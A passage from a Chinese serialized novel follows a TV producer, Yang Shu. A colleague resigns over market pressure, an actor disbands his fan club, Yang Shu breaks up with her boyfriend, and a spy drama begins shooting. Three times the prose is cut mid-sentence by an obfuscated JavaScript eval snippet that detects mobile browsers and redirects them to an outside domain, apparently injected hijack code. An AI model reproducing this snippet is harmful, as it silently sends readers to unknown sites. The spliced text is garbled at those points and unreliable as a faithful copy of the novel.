这消息并不突然,朱青被确诊脑静脉窦重度狭窄后,杨树就让她休长假,好好调养身体,朱青有几个项目没做完,想把它们理顺了再走,但白天的剧本会上,她心生退意。 市面上的教育剧都以中产阶级家长的视角去写,本质是家庭剧,但教育行业本身可挖掘的地方很多,新旧教育方式和观念也很值得探讨。朱青约编剧写出了剧本大纲,主角是小学教师,有一班学生,一个孩子,家里家外都有数不完的事,还有晋升压力和健康危机,可谓内忧外患,但涂芊建议减少教育系统的事,因为观众对小学教师的职业和生活都没兴趣。 朱青和他们争起来,她是策划人,负责内容,她希望在座的同仁能站在内容上进行讨论,而不是动不动就拿发行压她,左一个平台不要,右一个观众不看。 涂芊说朱青固执己见,一步都不让,不是讨论的态度。朱青说这是涂芊的问题,她和同事想做教育剧,那就站在教育剧的角度去讨论问题,别一会儿拿言情剧要求,一会儿又扯到家庭剧上,她拿出来的大纲相当于苹果,开会是为苹果想办法,让它变成一个更好吃的苹果,而不是上来就断定人们不爱吃苹果,因为它不是入口即化,还要求把苹果变成荔枝,甚至改成东京铁塔。 涂芊说:“市面上的烂剧,是被观众自己投出来的,那就是民意。你看《战朝阳》,女二号被男的蒙蔽当了小三,广电还没说什么,一堆观众自发骂她。” 詹忆建议朱青综合考虑发行的意见,给人物加些柔和度,电视剧是通俗作品,服务于观众娱乐欲望,叙事尽可奇情,但不欢迎太多大实话。 朱青在这部戏里突出了反思,但安全讨巧是大多数业内人士的工作准则,突破它不容易,詹忆的意见在她的底线内,她接受了,但心中那口郁气难消。 片刻之后,朱青被喊去钱一诺办公室,她和詹忆是平级,詹忆和涂芊的意见都只作参考,调解的事还得钱一诺做。 钱一诺对剧本大纲评价较高,但发行的确越来越难做了。公司去年做了一部医疗剧,突出刻画了医生群像,以医护人员的成长经历为叙事主线,感情戏和职场戏约为3:7,审片专家和医生们都夸了它,但卫视和网站等平台都认为爱情戏份太少,含糖量低。 公司努力制作一部精良的行业剧,却收到这样的反馈,钱一诺感到困惑和压力。兄弟公司都在做低成本甜宠剧了,布景粗陋,制作低廉,演员水平参差不齐,但都被预购了。 朱青看过医疗剧样片,是她从2016年进公司看过最好看的一部戏,但在目前形势下,拍恋爱剧才有出路。她部门所有项目想发行得好一点,可能都得加爱情戏,还得是“大把撒糖”式的做法。 无论是管制,还是发行压力,都让人做不下去。朱青递交了辞呈,钱一诺殷切挽留,他的公司永远不会做甜宠剧,别人都能做的剧,他再做,没意思,明堂影业的原创项目仍以朱青的策划部为重心,以后她的剧本会也不再让涂芊参与。 朱青仍决定辞职,她想养一养身体,顺便沉淀自己,也许再战江湖的时候,影视业会回到百花齐放的好时候。 杨树细看教育剧大纲,它很冷峻真实,自有动人处,但市场环境下,它想让人看到,就得不断、不断地柔化,她不知道等《红雨》做出剧本大纲交上去,能不能通过立项,但还想尽力一试。 张程程悄悄发来信息:“我听说朱老师辞职了,还对涂总拍了桌子。” 朱青对杨树承认确有此事,剧本会上,涂芊以开玩笑的口吻问她,只做硬朗女性为主角的剧,是不是因为单身,不相信爱情,还劝她去谈个恋爱,谈恋爱了心就软了,不会对爱情抱有偏见。 朱青沉下脸:“谈正事。”她一直认为,写清楚了爱情,就写清楚了世界,但世界不止言情剧这一种表达,她要做的教育剧是现实题材,涂芊仍说她一定在感情上受过伤害,公司签了那么多漂亮男孩,朱青看上谁,她当个红娘,朱青一怒之下,拍桌走人。 朱青个人生活十分适意潇洒,但在工作上居然被人拿私事发难,杨树很气愤:“她以为她是谁?” 每次开剧本会,涂芊必然建议强化男主角,朱青最烦她,拥有话语权,但处处维护男权,她很想来一杯,但遵医嘱不能饮酒,黯然地喝橙汁。 杨树心里很疼,妈妈过世后,她飞速成长,不知被多少人批评脾气差,跟朱青一比,她算很忍得住的,也圆滑些。不过朱青不是脾气差,是性子硬,性子硬的人在这社会上难免憋屈,她想朱青休息个一两年也好,回家过点小日子,但出乎意料,朱青不回原籍广东,而是选择客居苏州,她自小就向往的江南。 朱青的耳鸣24小时一秒不停歇,视力也模糊,还独在异乡,这让杨树更担心,她看向窗外,月光洒落一地,提议再走走。 8月初的北京街头,行人很多,路边小贩叫卖极便宜的桃子和甜瓜,树叶在月影里摇动,朱青慢慢聊起打算。涂芊说,这个时代,人们需要娱乐,不需要文艺,她不服,前阵子已和一家在线教育聊过,去苏州后,她选择给孩子们做线上读书分享会。 杨树对朱青勾画的未来并不乐观,新一代的年轻人成长环境和从前大不同,他们对灾难缺乏切肤感受,自幼记忆是奥运会,神州七号上天,世博会等举国欢庆,对强大祖国有丰沛感情,自发拥戴权力,不论是生活里,还是对待文艺作品。 比如霜晨月上个月写完医美题材的小说,就遭到抨击了。小说探讨了很多社会议题,写得较为严肃,杨树帮霜晨月找了影视公司和KR网站,都认为写得好,但不好拍。 如果霜晨月是名作者,可能就有资本愿意一试,可她不是。杨树想为她出版,但在青芽图书时的助手谢纵施说这两年的出版生态更差了,连他们出版社都只倾向名家和有IP价值的作品。 谢纵施很沮丧:“我一个编辑,只想在幕后做书,但现在得在网上刷话题,搞抽奖,还得装活泼做直播,拉人头参加作者访谈会,世界怎么就变成这样了?我这种视频推到面前,点都懒得点开,只爱看文字的人,是不是只剩死路一条?” 霜晨月把医美小说发到网站上,她特地忍了几天,想一口气多看点评论,结果只有几十条,还有好几个人问:“是双洁吗?” 有些看网文的读者年龄小,只喜欢看纯情故事,杨树还记得,2016年时,张程程看文之前会问作者主角是不是处男处女,即双处,但从双处到双洁,无疑是进一步的逼仄。 霜晨月回复读者别用“洁”这个字,把性行为作为一个人洁不洁的评判标准令人不适,顿时激怒了该读者,追着她骂了几十层,还喊来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091484|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了众多朋友。 霜晨月小说底下满是勒令她道歉的评论,最让她难过的是,网站绝大多数是女性用户,以在校生居多,但她们似乎不知道,认可“性是肮脏的”这套逻辑,其实是对自身的枷锁。 霜晨月很难过:“会开脑洞,会玩梗,会写段子,文风欢脱,就会有很多人来看,但我都不会。我不知道怎样才能被我真正的读者都看到,我要是有点名气就好了。” 霜晨月有一小撮忠实读者,但写文养不活自己了,她停笔不写,找了一家蛋糕店打工,去学她少女时最想学的烘焙,修复内心难言的失望。 杨树也很难过,这几年,无数人都在说“网感”,归根结底就是在玩概念,以核心设定取胜,像霜晨月这类作者,很难再进入广泛点的阅读视野了。她不明白,才三十出头,口味怎么突然就被时代抛弃了呢。 这时代,到处假嗨。朱青觉得读书分享会这类事情总得有人做,把生态环境调好了,才会万紫千红开遍。去苏州后,她会在老城区租个房子,每天买菜做饭洗衣搞园艺,应该会养一只大狗,不再过在北京这样忙碌到全年无休的生活。 杨树笑道:“我更喜欢猫。” 朱青说狗比猫更让她活在生活里,她得去遛它。因为疾病,她时时生出虚妄感,但她还想多做点事,所以得依靠热腾腾的生活找到支撑点,活得越具体,越能对抗人生的虚无。 杨树放心了点,人生真的不能细加琢磨,但欲望拥有落脚点,才不容易困顿。 未来半个月,朱青就能做完工作交接,预计月底离京,她的车开了好几年,留给杨树代步,她在苏州会买辆新的,可能不买,生活在老城区,步行去哪儿都方便。 沿着马路游荡,夜渐渐深了,风吹落一树叶子,杨树越发惆怅,这几年在北京,迎来送往,知交零落,偌大城市,举目只剩章嘉敏和丁盼兮两人了。朱青说:“你下个月去上海拍戏,我从苏州去看你很方便。” 丁盼兮得知朱青即将离开北京,很是难受,但认为不是坏事。岑川所在的律师事务所有个合伙人出去单干,融资都做完了,突然出家了,就是因为生活里没有能扯住他的东西了,她想,朱青把俗务做得越好,心里就越安定,不容易倒塌。 章嘉敏把女儿带回北京,和杨树深谈了一次。丈夫这次抑郁症来势汹汹,一忽儿除了失眠,跟健康人没两样,一忽儿浑身不能动弹,瘫在床上两三天,女儿很害怕,父母也被惊吓到了,终于把抑郁症视为病症,而不再开导他“心胸要开阔,想开了就没事”。 夫妻一场,章嘉敏心疼丈夫,但在一丝厌烦之外,还有些兔死狐悲的恐惧,她决定以后跟丁盼兮一起去健身房锻炼,她想健健康康的,把自己和女儿都照顾好。 杨树看出她有些自责,安慰道:“女儿也是他的,你把女儿栽培好,就对得起他了。” 章嘉敏叹道:“我竟然这么自私自利,心里不太好接受。但我估计,病的是我,他更好不到哪里去。” 杨树说:“起码他不会放弃北京回你老家。” 章嘉敏笑一声,丈夫身体好的时候,就不主动做家务,也不带孩子,更别想让他为自己牺牲前程。如今她把丈夫交给他父母接管,某种意义上,几乎是切割了,没提离婚只因不想要他的命,抑郁症患者很可怜,但活在这世上,谁不可怜。 杨树的生日又到了,朱青破天荒出席了丁盼兮张罗的生日宴。秦朗快递了礼物,是一款红外额温枪,它不贵,但它是秦朗回乡后做兼职时,跟同事们一起自主研发的。杨树懂得他想让她放心,他从未放弃事业。 丁盼兮对着杨树的太阳穴来了一下,杨树拂开,板脸道:“我发誓以后再不会让人拿枪指着我的头。” 众人大笑,丁盼兮莫名其妙,杨树笑问:“你没看过《英雄本色》吗?” 岑川说:“周润发说的。” 杨树开着直播,对着镜头冲她爸吃东西,朱青看了她很久。晚上到家,章嘉敏说:“朱青好像没跟我们说过她的家庭情况,但我感觉她很羡慕你和你爸无话不谈。” 一个让自己这样孤清的人,很可能出生在不怎么样的家庭里。杨树回想起朱青那一刻的黯然,她以后得多找朱青说说话,认真结交的每一个好友,都是为自己找的亲人。 79. 第 79 章 明堂影业熬过补税带来的阵痛期,钱一诺融了几次资,一度慢悠悠操作的项目提速推进了。有几个项目是杨树在职时抓的,她回了一趟前公司。 姜妤把部门管理得很好,最近招揽了两名新人。张程程大学毕业了,仍来部门实习,姜妤想把她转为正式职工,但张程程已是众人里最有钱的一个,她做了两年多短视频,规律地、大量地输出新鲜有趣的观点和生活方式,钱找上她了。 时代的浪潮一波接一波,总有机灵人能成为个中受益者。张程程不过23岁的年纪,就年入上百万,享有不坐班的自由,部门的人都夸她能干。张程程自谦她只算中等水平,她认识好几个年轻的妈妈,说是全职太太,但都是一边带孩子一边自由职业,赚得比她多,做东西也比她想法灵活。 姜妤未婚,不赞成生了孩子就回归家庭,但很多女人是被迫辞职,如果父母是双职工,孩子很容易被好学校拒绝。章嘉敏说过,女儿上学填过家庭收入调查,学校连家长是否全职带孩子都要问清楚。 刘云彤结婚几年,仍不敢要孩子,当全职太太往往取决于丈夫的良心,但人心是最叵测的。姜妤说她收入比丈夫高,应该让丈夫回家带孩子,他不干就离婚,但刘云彤和丈夫感情好,为这点事离婚不至于,而且丈夫的大男子主义根深蒂固,她拧不过来,即使丈夫答应全职带孩子,恐怕经不起父母家人的压力。 姜妤说这是悖论,女人辞职带孩子,父母家人怎么就不给压力?因为社会舆论默认理应如此,男人却不甘,说明他内心认可“带孩子不是男人干的事”。 杨树拍桌叫好,她一向很烦把家人当挡箭牌的言行:家里逼我结婚啦,家里逼我回老家考公务员啦,家里逼我生二胎啦……看似无可奈何,但实质都因为自己内心也认同,否则家里逼你吃屎,你怎么不纠结? 众人热闹开聊,杨树叫了下午茶,跟大家聊得很尽兴。有时她会想,女人亏就亏在对家庭太有责任感,真让男人回家带孩子,她们不放心,不放心便只有多操心。 张程程充当了助手,把众人言论整理给编剧甘棠,《红雨》剧本大纲在观点碰撞交锋中一点一滴地完善。 快一年不见,张程程不再是白米,她仍会关注白杨的动态,但失去了从前的热情,时间精力都用在自己的事情上。她很感激杨树,若不是杨树一次次教她在追星之外拥有个人生活,教她打开心灵看世界,她可能仍是被虚假的饭圈经济驯化的一员。 杨树开心地接受了张程程的宴请,祁宁演的暴骄废太子播出几天了,两人在餐厅找了一个正对着电视的座位,谈天时随便看上几眼。 男一号接戏时是二线偶像明星,比祁宁红,但后续两个播出作品都毫无水花,人气下去了不少,今年初他恋情被娱记曝光,跟女方拥吻的照片传开后,他的粉丝大量脱粉。 等到这戏播出,祁宁比男一号受欢迎。当男一号的粉丝循例辱骂男二号抢戏,宁粉们一哄而上,恨不得对男一号连撕带咬,祁宁在粉丝群里力劝他们休战,但粉丝们杀红了眼睛,责怪祁宁太怕事,还散漫,个人工作室是草台班子,若他养了强大的公关团队,粉丝们就省力了。 宁粉都说,既然顶着粉籍,就该为尊严而战,他们让祁宁多接新戏,多往电影圈里扎,攘外的事都交给他们。 暴骄废太子一角真如当初预料的那样,让祁宁有了很大的关注度,不仅让路人们注意到他了,有几个古装言情剧项目也都找上门请他演男一号,业内人看重他的表现力。 角色红归红,但粉丝骂战总令人厌恶,有些路人对祁宁有点看法:“粉丝疯成这样,八成是正主纵容的。” 祁宁在社交网页上发言:“大家好好看剧,把热情放在观看我和剧中各位演员老师塑造的角色上,不要再对他人进行无谓的攻击。” 这话得罪了宁粉,也得罪了男一号的粉丝。祁宁既然知男一号被骂得有多惨,为何不直接向男一号致歉,含糊地用“各位演员老师”代指,什么意思啊。 不少宁粉选择脱粉,当年,《天作之合》播出时,白米嫌祁宁抢戏,追着骂了十条街,当时宁粉不强大,让祁宁受委屈,如今强大了,能向任何人宣战,他却第一个降白旗,这叫过河拆迁,寒了粉丝的心。 网络让这帮平均年龄不超过23岁的孩子们拥有“所有人都跟我趴在同一高度”的幻觉,他们不仅教育祁宁,还给经纪人柳艳和长夜影视公司发了训诫信。 训诫信弹劾长夜影视公司对祁宁采取放养措施,他一针一线都是自己挣来;弹劾柳艳尸位素餐,宠幸新人;弹劾祁宁本人性子怯懦,不愿跟同剧演员硬刚,他们列举了十条准则,恳请祁宁和他的经纪公司遵照执行。 训诫信塞满了长夜影视公司官方邮箱,祁宁突然发出了解散粉丝后援会的公告,表示他更喜欢把粉丝称为关注者,希望关注者支持他的影视作品。 宁粉们正和男一号粉丝激斗,哐当,大棒子落到自己头上。他们急怒攻心,一个接一个大粉发表声明脱粉。 张程程正刷着网页,受到惊吓,祁宁还不够红,刚演上男一号没多久,还有几个剧被积压,没能播出,如今影视寒冬,他却把粉丝得罪光了,这是昏招。 杨树挺乐呵,跟她碰碰杯,永远都会有新鲜漂亮的20来岁的男孩子出现,祁宁不发公告,那些粉丝早晚也会走,留下的都是志同道合的人,还会有更多认同他的人奔去,当他的关注者。 公告一出,坊间哗然。在不算红的明星里,祁宁做出此举,证明了他的勇气,有种。杨树边吃饭边刷网页,关注祁宁的人在增多,虽然失去了自称“宁嫂”的粉丝,损失了部分流量,但很多路人都认为这个演员有点意思。 脱粉的人哀叹自己芳心错付,诅咒祁宁再无戏约,一糊到底,杨树给祁宁发了几条信息夸他,祁宁立即打来电话:“我真烦了。” 杨树说:“好好拍电影,回头把《暗昼》补拍完。” 谢铠的鼻子修复后不如以前,但靠妆容能遮盖。姚澈原本计划等祁宁拍完电影的配角,9月下旬就和谢铠一起补拍《暗昼》,然而7月份的时候,谢铠以前录制的一档综艺节目播出,他作为舞蹈嘉宾,关注度极高,金主趁着热度,给他拿下一个大IP的男一号,饰演纨绔王爷。 谢铠从脸到气质都不像古代人,但定装照一发出,王爷身份一亮,自有粉丝夸他“陌上人如玉,公子世无双”。他已进组,11月底才杀青,《暗昼》只能在12月补拍。 在柳艳的怒吼声中,祁宁滚出她的办公室,又给杨树打了一通电话。他跟柳艳谈好了,社交页面交给工作室的宣传人员打理,仅发布工作资讯,这是唐问羽教他的,她早就看清楚了,饭圈规则制约的不是粉丝,而是艺人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091485|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和团队,所以她选择疏远,不再回应他们。 祁宁被唐问羽点拨,对照着分析了几个流量明星的星路,他们都是服从并利用饭圈规则的获利者,在规则内行事,获得了巨大的流量。 老演员们的社交网页很冷清,但总有戏拍,演到六十多岁,也没缺过工作邀约。有的老演员在剧组很受人尊敬,还乐于帮助后辈,祁宁跟杨树说,这才是他想走的路,他不能太贪心,既想要大量观众朋友,还想随心所欲。 杨树笑叹祁宁做得好,不去挤那条路,门庭会冷落,但也不用背上定时炸弹,该拍戏时拍戏,该享受生活就享受生活,岂不快哉。 朱青临行前,约杨树在明堂影业旁边的日本料理店吃饭。共事时,两人把这家店吃成了食堂,它门面不大,食客都是附近的上班族,认识不认识的都挤在吧台一样的长方形桌子上吃面喝汤。 杨树最喜欢店里的海鲜拌饭和拉面,大冬天几口面汤喝下去,浑身都暖洋洋。朱青喜欢溏心蛋,但杨树爱吃煎蛋,厨子把它煎得很漂亮,像一颗优美的夕阳。 这些年,杨树吃过很多次日餐,最喜欢的仍是这家,或许是跟朱青肩并肩坐在高脚凳上吃饭喝东西,是两人最亲厚的时候。 有些人就是这样,明明心里很喜欢,但总不知道怎样轻松地去表达这份喜欢。天妇罗端上来,杨树夹了一只虾给朱青,朱青侧头看她,笑了。 朱青定的车票是傍晚,到达北京南站的时间还早,两人待在车里谈天,车窗外渐渐下起雨来。到最后,杨树说:“有事要说,没事有话也要说,可能你喜欢孤独,但我会担心你。” 朱青说:“不孤独,还有书,还有你。” 大件行李都寄去了苏州,寄放在物流公司仓库里,朱青划了范围,将在十天半月里,在拙政园附近找个住处。杨树帮她把旅行箱从后备箱拿下来,朱青张开双臂,主动抱了她:“好好的,等我去看你。” 杨树留在原地,注视朱青走进人潮里。初次见面,是在青芽图书公司,朱青烟不离手,黑衣仔裤,看起来清傲无比。 故交四散天涯,杨树开着朱青留给她的车,茫然向前。她不知道一年后,几年后,她将在何方,做着怎样的事情,但过往岁月里,跟朋友们在大街上走来走去的日子,在离别之际,方知多么舍不得。 偌大城市,竟像无处容身,杨树把车开回了明堂影业。《暗昼》在做后期,除了有些实在演得不行的部分,得等谢铠12月补拍,其余演员的戏份都在精剪中了。 杨树在剪辑室里看了若干场戏,祝贺祁宁演得有进步:“有几场特别好,揪心揪肺。” 钟鲁粤也夸了祁宁,有一场是协警从幼女被奸杀案的现场离开,追击凶手时,奔跑着从眼角流下的一滴泪,演得好,拍得也好,堪称名场面。不过,这不仅是祁宁个人的功劳,是成熟的工业体系赋予的,是灯光、音乐、摄影混合的产物。 钟鲁粤计划把这一幕剪进预告片,祁宁更关心谢铠:“他演得怎样?” 杨树实事求是:“导演很为他藏拙,有一些还算能看。” 祁宁这才安心,独木不成林,一个演员是成就不了一部戏的,但一个主演能毁掉一部戏。钟鲁粤已经接了新项目,虽然他对演员只有建议权,不能拍板,仍尽力推荐了祁宁演男一号,美貌在圈内不稀奇,但天赋和敬业是稀缺品。 80. 第 80 章 编剧们交出《狼穴》新版剧本,薛潇带着章嘉敏在故事脉络和情感张力上发力,修改出第二稿,像样多了。但章嘉敏担任责编的那部由明堂影业出品的医疗剧面临补拍,詹忆让编剧在现有剧本上加上几十场恋爱戏份,满足平台“主角必须多发糖”的要求。 据说夏停斥为荒谬,但整个文化生态已急剧恶化,想扳回来不是一朝一夕的事。霜晨月说她有一种奇特的发现,很多人很享受千篇一律,看到不符合期待的情节就骂人,看到不符合心意的观点也骂人,没耐性去看复杂的人性和多层次叙事了。 章嘉敏说很多人巴不得所有人的人生也千篇一律,容不得异见者,她和甘棠交出《红雨》剧本大纲,果然也被KR网站的责编们认为是丧剧,不符合甜剧和爽剧的潮流。但一个主题是讲述“婚姻中女性困境”的剧,为何要用甜不甜爽不爽来衡量它? 姚澈挺喜欢《红雨》,穷女人讨生活,中产女人小心维护生活质量,是她生活所见的女人,但生活压力太大,大众上班上学累了一天,想看点爽的、甜的,已是不争的事实。 身为创作者,得有点志气,一味讨好观众,不如去引领观众。杨树喊上甘棠和章嘉敏开会,为《红雨》寻条出路,给它加个外在的包装。 剧本大纲里的中产女人坚硬而强大,但得赋予她更鲜明的特色。甘棠想到了《暗昼》,双男主挑衅的是父权,《红雨》的双女主何尝不能挑衅父权? 章嘉敏忽然叫道:“杀夫,怎么样?” 杨树轰然大笑,但笑过细思,做成女性悬疑向,确实是一条路子。类型故事都有主题,言情剧的主题大多是真爱无敌,悬疑剧的主题通常是以弱凌强,探索真相,《红雨》做成悬疑向,得给主角制造大麻烦,越危险,才越让观众关心她的命运。 如果是主角的麻烦是“离不了婚”,很明显几集就撑不下去,它不构成像样的悬念,杨树琢磨干脆反其道行之,讲女人惩戒男人。简言之是“弃妇要反攻”:为何被“弃”,如何决定“反”,怎样“攻”。 如此一来,符合网站想要的爽剧设置了。爽剧的根本在于前期足够惨,后边的反攻才让观众跟着同仇敌忾,以网文类比,属于“重生”范畴,于是这么聊着,双女主的故事也聊出来了,对应的男人也面目清晰了,撕开完美丈夫的画皮看清真相,逃离家暴丈夫的钳制,在泥浆里挣扎,携手,开出灿烂的双生花。 定位清晰了,两个编剧回去写新大纲,没几天,美剧《致命女人》横空出世,它的英文名是《WhyWomenKill》,杨树有点郁闷,某些方面,《红雨》和它异曲同工,将来必然会被人说借鉴了它。 《狼穴》是姚澈本年度的重点项目,对它很重视,杨树以配合为主,《红雨》是她的亲生骨肉,更让她上心。 甘棠和章嘉敏很快交出《红雨》新版剧本大纲,不差,但离杨树期待的有距离。《红雨》是强情节类型剧,对节奏、结构和逻辑的要求很高,章嘉敏是新手,甘棠更擅长轻巧欢快的言情剧,杨树知道她俩尽力了。 KR网站另一个工作室明年要做部沙雕剧《光头请留步》,讲的是神医世家的小女儿和还俗和尚之间的爆笑故事,杨树推荐甘棠去做编剧,她写《光头请留步》必然得心应手。 《西北年轻人》的编剧宋琳和白蓝终于忙完她们之前的项目了,杨树找她俩进入《红雨》,两人从创作风格到喜好都能驾驭这个故事,谋篇布局能力也强。 章嘉敏改任责编,经宋琳和白蓝之手改出的剧本大纲被副总裁予以通过,手艺活最不靠排资论辈,拿出一个好故事就能服众。 熊好好认为沾了《致命女人》之光,《红雨》挟它之威,才顺利过关。但杨树觉得其实二者很不一样,编剧们都有自尊心,原构想里跟它有相似的地方都改掉了,没人爱听别人说“跟风”。 朱青离职前,把助理小五托付给杨树,小五成为杨树的助手。《红雨》既已走上正轨,杨树把工作重心转到《狼穴》上。 《狼穴》是杨树第二次当制片主任,把《暗昼》时期的流程重新来了一遍,她带着小五东奔西忙,连吃饭都是匆忙扒几口,喘口气的工夫都没有。 这一年北京雨水分外多,雨淅淅沥沥地落着,清晨起床,雨滴拍着窗,中午吃饭时,细雨纷纷,晚上夹风带雨,绵绵不绝,杨树睡里梦里都能听到雨声,不堪惆怅。 秦朗送的红外额温枪就搁在枕边,杨树早一次晚一次测温。章嘉敏和丁盼兮都在身旁,但北京仍让她感到孤单,秦朗和朱青先后离京,在她心里终究留下了痕迹。 走过每一个承载往事的街边,哪怕看到灰尘在光柱里跳舞,杨树都会无端端伤感,到底趁《狼穴》开机之前,飞去张家界一趟,两个人各有各的事,有时几天都没联系,联系了也没多少话说,她不喜欢这种渐行渐远的感觉,是走下去,还是分开,都得当面聊聊。 张家界机场名叫荷花机场,坐上机场大巴前往秦家的路上,窗外的荷塘仍有零星的荷花开放,荷叶一片片绵延不绝。 秦父比春节时好了很多,慢行时趋于正常,他定了目标,争取明年恢复到能够慢跑。秦母的精神头仍不太好,努力对杨树笑脸相迎。 杨树8月生日时,秦母劝秦朗回趟北京,但秦朗信不过她,秦母说她已想开了,不能让儿子的余生背上心理包袱。 杨树想起丁盼兮那位老同学,一处骨质增生,就让他的余生困在一张床上了,生命如斯脆弱。她蹲下来,握着秦母的手说:“阿姨,一定不能食言啊。” 居京城大不易,杨树一个好友婚姻几近破碎,另一个好友患上重疾,远行千里,她夜奔湖南,秦朗知道,他的小树累了,她在向他寻求一点能量,可他也感到疲累了。 入夜,杨树想和秦朗聊聊天,但四目相对,发觉彼此生疏了很多,无话可说,没兴致,也没精力。她习惯生活里没有他,他也习惯了。 秦朗终是提了分手,这个念头在《北宋宫事》拍草原战争戏时就有,后来杨树飞来湖南,跟他约定互相喜欢的时候不分手,他舍不得她,应了声,到现在他也不能说不喜欢她了,但他没心情了,也没有能力再当个合格的男朋友,这些话,他在电话里就想说,说不出口,可是拖下去不是事。 杨树看着他的泪眼,落下眼泪:“你想好了吗?” 秦朗转开目光说:“我不想让你负担我这边的担子,该放你一条生路,这样你能过得轻松些。” 杨树问:“就是这些吗?” 秦朗咬牙说:“你有你的路要走,我也能过得轻松点。” 维系感情需要心力,秦朗拿不出来了,杨树明白了。其实春节一别至今,她无数次感觉会分手,这半年来的联系,不过是强弩之末,她在努力,他也在努力,但终究走到无以为继的地步,彼此的生活已经不需要对方了。她说:“好,我们分开。” 《狼穴》就快开机,杨树待了一晚上就走,秦朗把她送到车站。杨树下车,说:“把身体看顾好,事业也别放弃,有事要开口。” 秦朗紧紧拥抱她:“知道,专业技能不会丢,小树,保重。” 都尽力了,理应再无遗憾。杨树松手,走进人海里。这段感情无疾而终,她有预感,但当这一天来临,她还是难过。 9月23日,秋分,《狼穴》在上海车墩影视城开机。剧本还有16集没写完,这是很大的体量,薛潇跟组写剧本,他相当于剧本统筹,在另外几个编剧交出的初稿上进行完善,单明玉和杨树又过上了白天忙拍摄事宜,晚上碰剧本的苦日子。 责编阿岚在杨树的调教下,不再拿“网感”要求《狼穴》,但她受二次元文化影响深,最高精神食粮是磕CP,在她手上通过的剧本,在杨树这里过不了。 杨树职级上比阿岚高,但小年轻无所畏惧,有天杨树睡下了,阿岚来敲门,问为什么不行。杨树给她讲了几场戏,编剧按阿岚的喜好,用言情剧的模式写男女主角的对手戏,但推动男女感情升温的动机淡而无味,基本是一次次的眼神流连,一次次“不小心”抱上吻上。 依靠事件的激励,让男女共同经历和参与事情,带来关系变化,力度才刚好。不用事件激励,而用不动声色的细节去编织也可行,可这需要编剧功底深,能细腻捕捉感情的微妙处,从创作时间来说,这也很难做到。好在导演和演员都能在文本基础上二次创作,杨树去剪辑室看素材,惊叹演员找对了,尤其是女主角韩紫倩。 韩紫倩全年无休拍剧,混成了大众眼里的熟脸,论咖位是二线,但试镜得分第一,开的片酬跟准一线持平,姚澈本来嫌贵,但韩紫倩把角色诠释自如。 谍战剧是很难演的剧种之一,主角戴着几层面具,精神时刻紧绷,待人接物如履薄冰,还得随机应变,虚张声势,没一刻放松,能演好这种伪装感的人不多,韩紫倩是其中之一。 韩紫倩出道时连演几部言情剧,《狼穴》剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091486|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本虽然把感情戏写得较浅,她用经验补上了。 杨树不明白这样的演员为何没能大红,她点开韩紫倩的几部代表作观看,才发现《狼穴》是她演技的巅峰,已播作品无功无过,长相在女艺人里也不够美,冲不上一线是正常的。 韩紫倩为《狼穴》贡献了精湛演出,杨树以为是单明玉指导有方,但单明玉说韩紫倩开窍了,当一个人从生关死劫逃出,她对人生、对人类必会有新的认识。 韩紫倩曾经是公共情妇,她跟得最久的高官落马后,接受了漫长的调查,经纪人对外宣称她赴海外游学,定期维护她的社交网页。韩紫倩陷入不深,但调查让她如临深渊,她能演好《狼穴》跟个人经历有关,高官巨贾是高楼危塔,跟日寇魔窟76号没有任何不同。 《狼穴》是女主角视角,但身为军统特务的男主角蛰伏于76号,跟女主角从提防到试探,再到有余地的合作,他的戏份也好看。 女主角始终有组织协应,但男主角休眠多年被唤醒,上线很快牺牲,下线叛变,整个人都深陷于极度的孤独和黑暗,演好他难度也不小。 编剧们在赶稿,男主角何攸之召唤自己的随组编剧来上海,有天他提出改台词,单明玉说:“还是按剧本来吧。” 何攸之说:“可我总觉得这几句台词不是很顺,对人物形象也有一定的损伤,单导,我没别的意思,都是为了咱们戏好。” “为了戏好”在影视业是句政治正确的外交辞令,单明玉不为所动:“剧本没写完,编剧写这几句台词,肯定是琢磨过的,跟前后文都有关联,你灵光一现想到要改,可能是瞎改。” 何攸之讪讪的,没再吭声。在单明玉剧组,剧本一旦定稿,没有特殊情况就不改,后来有天何攸之又蠢蠢欲动,单明玉把他和随组编剧都骂了:“何老师你,大学毕业就没写过一千字以上的作文吧,你怎么就觉得你比编剧懂剧本?还有小李,你想搞创作,为什么不跟一部戏,而是跟个演员?人没有完整作品,就多学多看吧。” 每次看到单明玉骂人,杨树都叹服“有气敢往”是一种大能耐。当年,她往李伊梦头上浇咖啡,就被很多人惊叹她不怕得罪人,但得罪人又怎样,天下这么大,上哪儿找不到一口饭吃,怕什么。 